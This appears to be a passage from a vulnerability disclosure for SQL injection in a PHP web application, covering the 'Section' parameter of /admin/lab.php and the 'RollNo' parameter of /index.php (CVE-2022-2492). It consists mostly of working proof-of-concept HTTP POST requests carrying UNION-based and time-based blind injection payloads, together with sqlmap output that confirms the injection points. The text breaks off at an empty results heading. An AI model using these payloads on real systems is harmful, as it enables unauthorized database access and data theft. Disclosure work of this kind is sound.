

Sample request POC #1

```
POST /admin/lab.php HTTP/1.1
Host: [IP:PORT]
Connection: close
Content-Length: 208
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/97.0.4692.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: null
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
submit=1&Section=1' UNION ALL SELECT
NULL, NULL, NULL, NULL, NULL, CONCAT(0x71716b7171, 0x546e4444736b7743575a666d4873746a64506
```

Sqlmap running results

```
POST parameter 'Section' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 1948 HTTP(s) requests:

Parameter: Section (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: submit=1&Section=1' AND (SELECT 3374 FROM (SELECT(SLEEP(5)))iDws)— qaRH&Status=1

Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: submit=1&Section=1' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x71716b7171, 0x546e4444736b7743575a666 d4873746a6450616261527a67627944426946507245664143694c6a4c, 0x7162706b71), NULL, NU
```

2./index.php(CVE-2022-2492)

/index.php SQL injection exists for parameter RollNo

Sample request POC #2

```
POST /index.php HTTP/1.1

Host: www.l-ms.com

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

Content-Length: 111

RollNo=admin' AND (SELECT 2625 FROM (SELECT(SLEEP(5)))MdIL) AND

'KXmq'='KXmq&Password=1231312312&signin=Sign In
```

Sqlmap running results